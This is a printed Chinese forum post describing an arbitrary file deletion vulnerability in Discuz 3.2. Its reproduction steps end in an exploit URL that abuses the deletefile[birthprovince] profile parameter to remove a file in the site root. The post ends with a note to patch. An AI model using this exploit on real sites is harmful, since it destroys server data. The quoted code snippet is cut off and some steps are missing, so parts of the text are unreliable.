创意电子
标题:
Discuz全版本任意文件删除漏洞
[打印本页]
作者:
心如止水
时间:
2020-6-2 22:48
标题:
Discuz全版本任意文件删除漏洞
验证用的版本:discuz3.2
0x1首先在根目录下新建一个文件
登录/注册后可看大图
0x2 构造poc1修改出生地区
登录/注册后可看大图
注意其中的formhash需要替换掉,具体是在源码中找。
为什么这里要替换掉formhash呢?
一开始不太清楚,网页会报错,
如下
登录/注册后可看大图
看到了有一个xss验证蛮去找一下这个文件
private function _xss_check() { static $check = array('"', '>', 'poc
123456789将该poc保存为html文件打开
登录/注册后可看大图
随便上传一张图片,注意其中的formhash也要替换
在浏览器中访问
登录/注册后可看大图
localhost/discuz3.2/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=zsdlove1在看看网站根目录
登录/注册后可看大图
文件已经被删除了
0x4 修复方案:官方已经发布补丁,请尽快修复
欢迎光临 创意电子 (https://wxcydz.cc/)
Powered by Discuz! X3.4